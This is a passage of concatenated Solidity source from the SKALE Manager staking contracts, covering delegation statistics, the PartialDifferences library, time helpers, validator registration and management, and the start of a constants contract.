_updateFirstDelegationMonth( delegations[delegationId].holder, delegations[delegationId].validatorId, currentMonth.add(1)); uint effectiveAmount = delegations[delegationId].amount.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod)); _addToEffectiveDelegatedToValidator( delegations[delegationId].validatorId, effectiveAmount, currentMonth.add(1)); _addToEffectiveDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, effectiveAmount, currentMonth.add(1)); _addValidatorToValidatorsPerDelegators( delegations[delegationId].holder, delegations[delegationId].validatorId ); } function _subtractFromAllStatistics(uint delegationId) private { uint amountAfterSlashing = _calculateDelegationAmountAfterSlashing(delegationId); _removeFromDelegatedToValidator( delegations[delegationId].validatorId, amountAfterSlashing, delegations[delegationId].finished); _removeFromDelegatedByHolder( delegations[delegationId].holder, amountAfterSlashing, delegations[delegationId].finished); _removeFromDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, amountAfterSlashing, delegations[delegationId].finished); uint effectiveAmount = amountAfterSlashing.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod)); _removeFromEffectiveDelegatedToValidator( delegations[delegationId].validatorId, effectiveAmount, delegations[delegationId].finished); _removeFromEffectiveDelegatedByHolderToValidator( delegations[delegationId].holder, delegations[delegationId].validatorId, effectiveAmount, delegations[delegationId].finished); _getBounty().handleDelegationRemoving( effectiveAmount, delegations[delegationId].finished); } /** * @dev Checks whether delegation to a validator is allowed. * * Requirements: * * - Delegator must not have reached the validator limit. * - Delegation must be made in or after the first delegation month. */ function _checkIfDelegationIsAllowed(address holder, uint validatorId) private view returns (bool) { require( _numberOfValidatorsPerDelegator[holder].delegated[validatorId] > 0 || ( _numberOfValidatorsPerDelegator[holder].delegated[validatorId] == 0 && _numberOfValidatorsPerDelegator[holder].number < _getConstantsHolder().limitValidatorsPerDelegator() ), "Limit of validators is reached" ); } function _getDelegationPeriodManager() private view returns (DelegationPeriodManager) { return DelegationPeriodManager(contractManager.getDelegationPeriodManager()); } function _getBounty() private view returns (BountyV2) { return BountyV2(contractManager.getBounty()); } function _getValidatorService() private view returns (ValidatorService) { return ValidatorService(contractManager.getValidatorService()); } function _getTimeHelpers() private view returns (TimeHelpers) { return TimeHelpers(contractManager.getTimeHelpers()); } function _getConstantsHolder() private view returns (ConstantsHolder) { return ConstantsHolder(contractManager.getConstantsHolder()); } function _accept(uint delegationId) private { _checkIfDelegationIsAllowed(delegations[delegationId].holder, delegations[delegationId].validatorId); State currentState = getState(delegationId); if (currentState != State.PROPOSED) { if (currentState == State.ACCEPTED || currentState == State.DELEGATED || currentState == State.UNDELEGATION_REQUESTED || currentState == State.COMPLETED) { revert("The delegation has been already accepted"); } else if (currentState == State.CANCELED) { revert("The delegation has been cancelled by token holder"); } else if (currentState == State.REJECTED) { revert("The delegation request is outdated"); } } require(currentState == State.PROPOSED, "Cannot set delegation state to accepted"); SlashingSignal[] memory slashingSignals = _processAllSlashesWithoutSignals(delegations[delegationId].holder); _addToAllStatistics(delegationId); uint amount = delegations[delegationId].amount; uint effectiveAmount = amount.mul( _getDelegationPeriodManager().stakeMultipliers(delegations[delegationId].delegationPeriod) ); _getBounty().handleDelegationAdd( effectiveAmount, delegations[delegationId].started ); _sendSlashingSignals(slashingSignals); emit DelegationAccepted(delegationId); } } // SPDX-License-Identifier: AGPL-3.0-only /* PartialDifferences.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "../utils/MathUtils.sol"; import "../utils/FractionUtils.sol"; /** * @title Partial Differences Library * @dev This library contains functions to manage Partial Differences data * structure. Partial Differences is an array of value differences over time. * * For example: assuming an array [3, 6, 3, 1, 2], partial differences can * represent this array as [_, 3, -3, -2, 1]. * * This data structure allows adding values on an open interval with O(1) * complexity. * * For example: add +5 to [3, 6, 3, 1, 2] starting from the second element (3), * instead of performing [3, 6, 3+5, 1+5, 2+5] partial differences allows * performing [_, 3, -3+5, -2, 1]. The original array can be restored by * adding values from partial differences. */ library PartialDifferences { using SafeMath for uint; using MathUtils for uint; struct Sequence { // month => diff mapping (uint => uint) addDiff; // month => diff mapping (uint => uint) subtractDiff; // month => value mapping (uint => uint) value; uint firstUnprocessedMonth; uint lastChangedMonth; } struct Value { // month => diff mapping (uint => uint) addDiff; // month => diff mapping (uint => uint) subtractDiff; uint value; uint firstUnprocessedMonth; uint lastChangedMonth; } // functions for sequence function addToSequence(Sequence storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; } sequence.addDiff[month] = sequence.addDiff[month].add(diff); if (sequence.lastChangedMonth != month) { sequence.lastChangedMonth = month; } } function subtractFromSequence(Sequence storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot subtract from the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; } sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff); if (sequence.lastChangedMonth != month) { sequence.lastChangedMonth = month; } } function getAndUpdateValueInSequence(Sequence storage sequence, uint month) internal returns (uint) { if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { uint nextValue = sequence.value[i.sub(1)].add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]); if (sequence.value[i] != nextValue) { sequence.value[i] = nextValue; } if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } sequence.firstUnprocessedMonth = month.add(1); } return sequence.value[month]; } function getValueInSequence(Sequence storage sequence, uint month) internal view returns (uint) { if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value[sequence.firstUnprocessedMonth.sub(1)]; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]); } return value; } else { return sequence.value[month]; } } function getValuesInSequence(Sequence storage sequence) internal view returns (uint[] memory values) { if (sequence.firstUnprocessedMonth == 0) { return values; } uint begin = sequence.firstUnprocessedMonth.sub(1); uint end = sequence.lastChangedMonth.add(1); if (end <= begin) { end = begin.add(1); } values = new uint[](end.sub(begin)); values[0] = sequence.value[sequence.firstUnprocessedMonth.sub(1)]; for (uint i = 0; i.add(1) < values.length; ++i) { uint month = sequence.firstUnprocessedMonth.add(i); values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]); } } function reduceSequence( Sequence storage sequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); require( reducingCoefficient.numerator <= reducingCoefficient.denominator, "Increasing of values is not implemented"); if (sequence.firstUnprocessedMonth == 0) { return; } uint value = getAndUpdateValueInSequence(sequence, month); if (value.approximatelyEqual(0)) { return; } sequence.value[month] = sequence.value[month] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) { sequence.subtractDiff[i] = sequence.subtractDiff[i] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); } } // functions for value function addToValue(Value storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month, "Cannot add to the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; sequence.lastChangedMonth = month; } if (month > sequence.lastChangedMonth) { sequence.lastChangedMonth = month; } if (month >= sequence.firstUnprocessedMonth) { sequence.addDiff[month] = sequence.addDiff[month].add(diff); } else { sequence.value = sequence.value.add(diff); } } function subtractFromValue(Value storage sequence, uint diff, uint month) internal { require(sequence.firstUnprocessedMonth <= month.add(1), "Cannot subtract from the past"); if (sequence.firstUnprocessedMonth == 0) { sequence.firstUnprocessedMonth = month; sequence.lastChangedMonth = month; } if (month > sequence.lastChangedMonth) { sequence.lastChangedMonth = month; } if (month >= sequence.firstUnprocessedMonth) { sequence.subtractDiff[month] = sequence.subtractDiff[month].add(diff); } else { sequence.value = sequence.value.boundedSub(diff); } } function getAndUpdateValue(Value storage sequence, uint month) internal returns (uint) { require( month.add(1) >= sequence.firstUnprocessedMonth, "Cannot calculate value in the past"); if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).boundedSub(sequence.subtractDiff[i]); if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } if (sequence.value != value) { sequence.value = value; } sequence.firstUnprocessedMonth = month.add(1); } return sequence.value; } function getValue(Value storage sequence, uint month) internal view returns (uint) { require( month.add(1) >= sequence.firstUnprocessedMonth, "Cannot calculate value in the past"); if (sequence.firstUnprocessedMonth == 0) { return 0; } if (sequence.firstUnprocessedMonth <= month) { uint value = sequence.value; for (uint i = sequence.firstUnprocessedMonth; i <= month; ++i) { value = value.add(sequence.addDiff[i]).sub(sequence.subtractDiff[i]); } return value; } else { return sequence.value; } } function getValues(Value storage sequence) internal view returns (uint[] memory values) { if (sequence.firstUnprocessedMonth == 0) { return values; } uint begin = sequence.firstUnprocessedMonth.sub(1); uint end = sequence.lastChangedMonth.add(1); if (end <= begin) { end = begin.add(1); } values = new uint[](end.sub(begin)); values[0] = sequence.value; for (uint i = 0; i.add(1) < values.length; ++i) { uint month = sequence.firstUnprocessedMonth.add(i); values[i.add(1)] = values[i].add(sequence.addDiff[month]).sub(sequence.subtractDiff[month]); } } function reduceValue( Value storage sequence, uint amount, uint month) internal returns (FractionUtils.Fraction memory) { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); if (sequence.firstUnprocessedMonth == 0) { return FractionUtils.createFraction(0); } uint value = getAndUpdateValue(sequence, month); if (value.approximatelyEqual(0)) { return FractionUtils.createFraction(0); } uint _amount = amount; if (value < amount) { _amount = value; } FractionUtils.Fraction memory reducingCoefficient = FractionUtils.createFraction(value.boundedSub(_amount), value); reduceValueByCoefficient(sequence, reducingCoefficient, month); return reducingCoefficient; } function reduceValueByCoefficient( Value storage sequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { reduceValueByCoefficientAndUpdateSumIfNeeded( sequence, sequence, reducingCoefficient, month, false); } function reduceValueByCoefficientAndUpdateSum( Value storage sequence, Value storage sumSequence, FractionUtils.Fraction memory reducingCoefficient, uint month) internal { reduceValueByCoefficientAndUpdateSumIfNeeded( sequence, sumSequence, reducingCoefficient, month, true); } function reduceValueByCoefficientAndUpdateSumIfNeeded( Value storage sequence, Value storage sumSequence, FractionUtils.Fraction memory reducingCoefficient, uint month, bool hasSumSequence) internal { require(month.add(1) >= sequence.firstUnprocessedMonth, "Cannot reduce value in the past"); if (hasSumSequence) { require(month.add(1) >= sumSequence.firstUnprocessedMonth, "Cannot reduce value in the past"); } require( reducingCoefficient.numerator <= reducingCoefficient.denominator, "Increasing of values is not implemented"); if (sequence.firstUnprocessedMonth == 0) { return; } uint value = getAndUpdateValue(sequence, month); if (value.approximatelyEqual(0)) { return; } uint newValue = sequence.value.mul(reducingCoefficient.numerator).div(reducingCoefficient.denominator); if (hasSumSequence) { subtractFromValue(sumSequence, sequence.value.boundedSub(newValue), month); } sequence.value = newValue; for (uint i = month.add(1); i <= sequence.lastChangedMonth; ++i) { uint newDiff = sequence.subtractDiff[i] .mul(reducingCoefficient.numerator) .div(reducingCoefficient.denominator); if (hasSumSequence) { sumSequence.subtractDiff[i] = sumSequence.subtractDiff[i] .boundedSub(sequence.subtractDiff[i].boundedSub(newDiff)); } sequence.subtractDiff[i] = newDiff; } } function clear(Value storage sequence) internal { for (uint i = sequence.firstUnprocessedMonth; i <= sequence.lastChangedMonth; ++i) { if (sequence.addDiff[i] > 0) { delete sequence.addDiff[i]; } if (sequence.subtractDiff[i] > 0) { delete sequence.subtractDiff[i]; } } if (sequence.value > 0) { delete sequence.value; } if (sequence.firstUnprocessedMonth > 0) { delete sequence.firstUnprocessedMonth; } if (sequence.lastChangedMonth > 0) { delete sequence.lastChangedMonth; } } } // SPDX-License-Identifier: AGPL-3.0-only /* TimeHelpers.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "../thirdparty/BokkyPooBahsDateTimeLibrary.sol"; /** * @title TimeHelpers * @dev The contract performs time operations. * * These functions are used to calculate monthly and Proof of Use epochs. */ contract TimeHelpers { using SafeMath for uint; uint constant private _ZERO_YEAR = 2020; function calculateProofOfUseLockEndTime(uint month, uint lockUpPeriodDays) external view returns (uint timestamp) { timestamp = BokkyPooBahsDateTimeLibrary.addDays(monthToTimestamp(month), lockUpPeriodDays); } function addDays(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addDays(fromTimestamp, n); } function addMonths(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addMonths(fromTimestamp, n); } function addYears(uint fromTimestamp, uint n) external pure returns (uint) { return BokkyPooBahsDateTimeLibrary.addYears(fromTimestamp, n); } function getCurrentMonth() external view virtual returns (uint) { return timestampToMonth(now); } function timestampToDay(uint timestamp) external view returns (uint) { uint wholeDays = timestamp / BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY; uint zeroDay = BokkyPooBahsDateTimeLibrary.timestampFromDate(_ZERO_YEAR, 1, 1) / BokkyPooBahsDateTimeLibrary.SECONDS_PER_DAY; require(wholeDays >= zeroDay, "Timestamp is too far in the past"); return wholeDays - zeroDay; } function timestampToYear(uint timestamp) external view virtual returns (uint) { uint year; (year, , ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp); require(year >= _ZERO_YEAR, "Timestamp is too far in the past"); return year - _ZERO_YEAR; } function timestampToMonth(uint timestamp) public view virtual returns (uint) { uint year; uint month; (year, month, ) = BokkyPooBahsDateTimeLibrary.timestampToDate(timestamp); require(year >= _ZERO_YEAR, "Timestamp is too far in the past"); month = month.sub(1).add(year.sub(_ZERO_YEAR).mul(12)); require(month > 0, "Timestamp is too far in the past"); return month; } function monthToTimestamp(uint month) public view virtual returns (uint timestamp) { uint year = _ZERO_YEAR; uint _month = month; year = year.add(_month.div(12)); _month = _month.mod(12); _month = _month.add(1); return BokkyPooBahsDateTimeLibrary.timestampFromDate(year, _month, 1); } } // SPDX-License-Identifier: AGPL-3.0-only /* ValidatorService.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/cryptography/ECDSA.sol"; import "../Permissions.sol"; import "../ConstantsHolder.sol"; import "./DelegationController.sol"; import "./TimeHelpers.sol"; /** * @title ValidatorService * @dev This contract handles all validator operations including registration, * node management, validator-specific delegation parameters, and more. * * TIP: For more information see our main instructions * https://forum.skale.network/t/skale-mainnet-launch-faq/182[SKALE MainNet Launch FAQ]. * * Validators register an address, and use this address to accept delegations and * register nodes. */ contract ValidatorService is Permissions { using ECDSA for bytes32; struct Validator { string name; address validatorAddress; address requestedAddress; string description; uint feeRate; uint registrationTime; uint minimumDelegationAmount; bool acceptNewRequests; } /** * @dev Emitted when a validator registers. */ event ValidatorRegistered( uint validatorId ); /** * @dev Emitted when a validator address changes. */ event ValidatorAddressChanged( uint validatorId, address newAddress ); /** * @dev Emitted when a validator is enabled. */ event ValidatorWasEnabled( uint validatorId ); /** * @dev Emitted when a validator is disabled. */ event ValidatorWasDisabled( uint validatorId ); /** * @dev Emitted when a node address is linked to a validator. */ event NodeAddressWasAdded( uint validatorId, address nodeAddress ); /** * @dev Emitted when a node address is unlinked from a validator. */ event NodeAddressWasRemoved( uint validatorId, address nodeAddress ); mapping (uint => Validator) public validators; mapping (uint => bool) private _trustedValidators; uint[] public trustedValidatorsList; // address => validatorId mapping (address => uint) private _validatorAddressToId; // address => validatorId mapping (address => uint) private _nodeAddressToValidatorId; // validatorId => nodeAddress[] mapping (uint => address[]) private _nodeAddresses; uint public numberOfValidators; bool public useWhitelist; modifier checkValidatorExists(uint validatorId) { require(validatorExists(validatorId), "Validator with such ID does not exist"); _; } /** * @dev Creates a new validator ID that includes a validator name, description, * commission or fee rate, and a minimum delegation amount accepted by the validator. * * Emits a {ValidatorRegistered} event. * * Requirements: * * - Sender must not already have registered a validator ID. * - Fee rate must be between 0 - 1000‰. Note: in per mille. */ function registerValidator( string calldata name, string calldata description, uint feeRate, uint minimumDelegationAmount ) external returns (uint validatorId) { require(!validatorAddressExists(msg.sender), "Validator with such address already exists"); require(feeRate <= 1000, "Fee rate of validator should be lower than 100%"); validatorId = ++numberOfValidators; validators[validatorId] = Validator( name, msg.sender, address(0), description, feeRate, now, minimumDelegationAmount, true ); _setValidatorAddress(validatorId, msg.sender); emit ValidatorRegistered(validatorId); } /** * @dev Allows Admin to enable a validator by adding their ID to the * trusted list. * * Emits a {ValidatorWasEnabled} event. * * Requirements: * * - Validator must not already be enabled. */ function enableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyAdmin { require(!_trustedValidators[validatorId], "Validator is already enabled"); _trustedValidators[validatorId] = true; trustedValidatorsList.push(validatorId); emit ValidatorWasEnabled(validatorId); } /** * @dev Allows Admin to disable a validator by removing their ID from * the trusted list. * * Emits a {ValidatorWasDisabled} event. * * Requirements: * * - Validator must not already be disabled. */ function disableValidator(uint validatorId) external checkValidatorExists(validatorId) onlyAdmin { require(_trustedValidators[validatorId], "Validator is already disabled"); _trustedValidators[validatorId] = false; uint position = _find(trustedValidatorsList, validatorId); if (position < trustedValidatorsList.length) { trustedValidatorsList[position] = trustedValidatorsList[trustedValidatorsList.length.sub(1)]; } trustedValidatorsList.pop(); emit ValidatorWasDisabled(validatorId); } /** * @dev Owner can disable the trusted validator list. Once turned off, the * trusted list cannot be re-enabled. */ function disableWhitelist() external onlyOwner { useWhitelist = false; } /** * @dev Allows `msg.sender` to request a new address. * * Requirements: * * - `msg.sender` must already be a validator. * - New address must not be null. * - New address must not be already registered as a validator. */ function requestForNewAddress(address newValidatorAddress) external { require(newValidatorAddress != address(0), "New address cannot be null"); require(_validatorAddressToId[newValidatorAddress] == 0, "Address already registered"); // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].requestedAddress = newValidatorAddress; } /** * @dev Allows msg.sender to confirm an address change. * * Emits a {ValidatorAddressChanged} event. * * Requirements: * * - Must be owner of new address. */ function confirmNewAddress(uint validatorId) external checkValidatorExists(validatorId) { require( getValidator(validatorId).requestedAddress == msg.sender, "The validator address cannot be changed because it is not the actual owner" ); delete validators[validatorId].requestedAddress; _setValidatorAddress(validatorId, msg.sender); emit ValidatorAddressChanged(validatorId, validators[validatorId].validatorAddress); } /** * @dev Links a node address to validator ID. Validator must present * the node signature of the validator ID. * * Requirements: * * - Signature must be valid. * - Address must not be assigned to a validator. */ function linkNodeAddress(address nodeAddress, bytes calldata sig) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require( keccak256(abi.encodePacked(validatorId)).toEthSignedMessageHash().recover(sig) == nodeAddress, "Signature is not pass" ); require(_validatorAddressToId[nodeAddress] == 0, "Node address is a validator"); _addNodeAddress(validatorId, nodeAddress); emit NodeAddressWasAdded(validatorId, nodeAddress); } /** * @dev Unlinks a node address from a validator. * * Emits a {NodeAddressWasRemoved} event. */ function unlinkNodeAddress(address nodeAddress) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); this.removeNodeAddress(validatorId, nodeAddress); emit NodeAddressWasRemoved(validatorId, nodeAddress); } /** * @dev Allows a validator to set a minimum delegation amount. */ function setValidatorMDA(uint minimumDelegationAmount) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].minimumDelegationAmount = minimumDelegationAmount; } /** * @dev Allows a validator to set a new validator name. */ function setValidatorName(string calldata newName) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].name = newName; } /** * @dev Allows a validator to set a new validator description. */ function setValidatorDescription(string calldata newDescription) external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); validators[validatorId].description = newDescription; } /** * @dev Allows a validator to start accepting new delegation requests. * * Requirements: * * - Must not have already enabled accepting new requests. */ function startAcceptingNewRequests() external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require(!isAcceptingNewRequests(validatorId), "Accepting request is already enabled"); validators[validatorId].acceptNewRequests = true; } /** * @dev Allows a validator to stop accepting new delegation requests. * * Requirements: * * - Must not have already stopped accepting new requests. */ function stopAcceptingNewRequests() external { // check Validator Exist inside getValidatorId uint validatorId = getValidatorId(msg.sender); require(isAcceptingNewRequests(validatorId), "Accepting request is already disabled"); validators[validatorId].acceptNewRequests = false; } function removeNodeAddress(uint validatorId, address nodeAddress) external allowTwo("ValidatorService", "Nodes") { require(_nodeAddressToValidatorId[nodeAddress] == validatorId, "Validator does not have permissions to unlink node"); delete _nodeAddressToValidatorId[nodeAddress]; for (uint i = 0; i < _nodeAddresses[validatorId].length; ++i) { if (_nodeAddresses[validatorId][i] == nodeAddress) { if (i + 1 < _nodeAddresses[validatorId].length) { _nodeAddresses[validatorId][i] = _nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)]; } delete _nodeAddresses[validatorId][_nodeAddresses[validatorId].length.sub(1)]; _nodeAddresses[validatorId].pop(); break; } } } /** * @dev Returns the amount of validator bond (self-delegation). */ function getAndUpdateBondAmount(uint validatorId) external returns (uint) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); return delegationController.getAndUpdateDelegatedByHolderToValidatorNow( getValidator(validatorId).validatorAddress, validatorId ); } /** * @dev Returns node addresses linked to the msg.sender. */ function getMyNodesAddresses() external view returns (address[] memory) { return getNodeAddresses(getValidatorId(msg.sender)); } /** * @dev Returns the list of trusted validators. */ function getTrustedValidators() external view returns (uint[] memory) { return trustedValidatorsList; } /** * @dev Checks whether the validator ID is linked to the validator address. */ function checkValidatorAddressToId(address validatorAddress, uint validatorId) external view returns (bool) { return getValidatorId(validatorAddress) == validatorId ? true : false; } /** * @dev Returns the validator ID linked to a node address. * * Requirements: * * - Node address must be linked to a validator. */ function getValidatorIdByNodeAddress(address nodeAddress) external view returns (uint validatorId) { validatorId = _nodeAddressToValidatorId[nodeAddress]; require(validatorId != 0, "Node address is not assigned to a validator"); } function checkValidatorCanReceiveDelegation(uint validatorId, uint amount) external view { require(isAuthorizedValidator(validatorId), "Validator is not authorized to accept delegation request"); require(isAcceptingNewRequests(validatorId), "The validator is not currently accepting new requests"); require( validators[validatorId].minimumDelegationAmount <= amount, "Amount does not meet the validator's minimum delegation amount" ); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); useWhitelist = true; } /** * @dev Returns a validator's node addresses. */ function getNodeAddresses(uint validatorId) public view returns (address[] memory) { return _nodeAddresses[validatorId]; } /** * @dev Checks whether validator ID exists. */ function validatorExists(uint validatorId) public view returns (bool) { return validatorId <= numberOfValidators && validatorId != 0; } /** * @dev Checks whether validator address exists. */ function validatorAddressExists(address validatorAddress) public view returns (bool) { return _validatorAddressToId[validatorAddress] != 0; } /** * @dev Checks whether validator address exists. */ function checkIfValidatorAddressExists(address validatorAddress) public view { require(validatorAddressExists(validatorAddress), "Validator address does not exist"); } /** * @dev Returns the Validator struct. */ function getValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (Validator memory) { return validators[validatorId]; } /** * @dev Returns the validator ID for the given validator address. */ function getValidatorId(address validatorAddress) public view returns (uint) { checkIfValidatorAddressExists(validatorAddress); return _validatorAddressToId[validatorAddress]; } /** * @dev Checks whether the validator is currently accepting new delegation requests. */ function isAcceptingNewRequests(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) { return validators[validatorId].acceptNewRequests; } function isAuthorizedValidator(uint validatorId) public view checkValidatorExists(validatorId) returns (bool) { return _trustedValidators[validatorId] || !useWhitelist; } // private /** * @dev Links a validator address to a validator ID. * * Requirements: * * - Address is not already in use by another validator. */ function _setValidatorAddress(uint validatorId, address validatorAddress) private { if (_validatorAddressToId[validatorAddress] == validatorId) { return; } require(_validatorAddressToId[validatorAddress] == 0, "Address is in use by another validator"); address oldAddress = validators[validatorId].validatorAddress; delete _validatorAddressToId[oldAddress]; _nodeAddressToValidatorId[validatorAddress] = validatorId; validators[validatorId].validatorAddress = validatorAddress; _validatorAddressToId[validatorAddress] = validatorId; } /** * @dev Links a node address to a validator ID. * * Requirements: * * - Node address must not be already linked to a validator. */ function _addNodeAddress(uint validatorId, address nodeAddress) private { if (_nodeAddressToValidatorId[nodeAddress] == validatorId) { return; } require(_nodeAddressToValidatorId[nodeAddress] == 0, "Validator cannot override node address"); _nodeAddressToValidatorId[nodeAddress] = validatorId; _nodeAddresses[validatorId].push(nodeAddress); } function _find(uint[] memory array, uint index) private pure returns (uint) { uint i; for (i = 0; i < array.length; i++) { if (array[i] == index) { return i; } } return array.length; } } // SPDX-License-Identifier: AGPL-3.0-only /* ConstantsHolder.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "./Permissions.sol"; /** * @title ConstantsHolder * @dev Contract contains constants and common variables for the SKALE Network. */ contract ConstantsHolder is Permissions { // initial price for creating Node (100 SKL) uint public constant NODE_DEPOSIT = 100 * 1e18; uint8 public constant TOTAL_SPACE_ON_NODE = 128; // part of Node for Small Skale-chain (1/128 of Node) uint8 public constant SMALL_DIVISOR = 128; // part of Node for Medium Skale-chain (1/32 of Node) uint8 public constant MEDIUM_DIVISOR = 32; // part of Node for Large Skale-chain (full Node) uint8 public constant LARGE_DIVISOR = 1; // part of Node for Medium Test Skale-chain (1/4 of Node) uint8 public constant MEDIUM_TEST_DIVISOR = 4; // typically number of Nodes for Skale-chain (16 Nodes) uint public constant NUMBER_OF_NODES_FOR_SCHAIN = 16; // number of Nodes for Test Skale-chain (2 Nodes) uint public constant NUMBER_OF_NODES_FOR_TEST_SCHAIN = 2; // number of Nodes for Test Skale-chain (4 Nodes) uint public constant NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN = 4; // number of seconds in one year uint32 public constant SECONDS_TO_YEAR = 31622400; // initial number of monitors uint public constant NUMBER_OF_MONITORS = 24; uint public constant OPTIMAL_LOAD_PERCENTAGE = 80; uint public constant ADJUSTMENT_SPEED = 1000; uint public constant COOLDOWN_TIME = 60; uint public constant MIN_PRICE = 10**6; uint public constant MSR_REDUCING_COEFFICIENT = 2; uint public constant DOWNTIME_THRESHOLD_PART = 30; uint public constant BOUNTY_LOCKUP_MONTHS = 2; uint public constant ALRIGHT_DELTA = 54640; uint public constant BROADCAST_DELTA = 122660; uint public constant COMPLAINT_BAD_DATA_DELTA = 40720; uint public constant PRE_RESPONSE_DELTA = 67780; uint public constant COMPLAINT_DELTA = 67100; uint public constant RESPONSE_DELTA = 215000; // MSR - Minimum staking requirement uint public msr; // Reward period - 30 days (each 30 days Node would be granted for bounty) uint32 public rewardPeriod; // Allowable latency - 150000 ms by default uint32 public allowableLatency; /** * Delta period - 1 hour (1 hour before Reward period became Monitors need * to send Verdicts and 1 hour after Reward period became Node need to come * and get Bounty) */ uint32 public deltaPeriod; /** * Check time - 2 minutes (every 2 minutes monitors should check metrics * from checked nodes) */ uint public checkTime; //Need to add minimal allowed parameters for verdicts uint public launchTimestamp; uint public rotationDelay; uint public proofOfUseLockUpPeriodDays; uint public proofOfUseDelegationPercentage; uint public 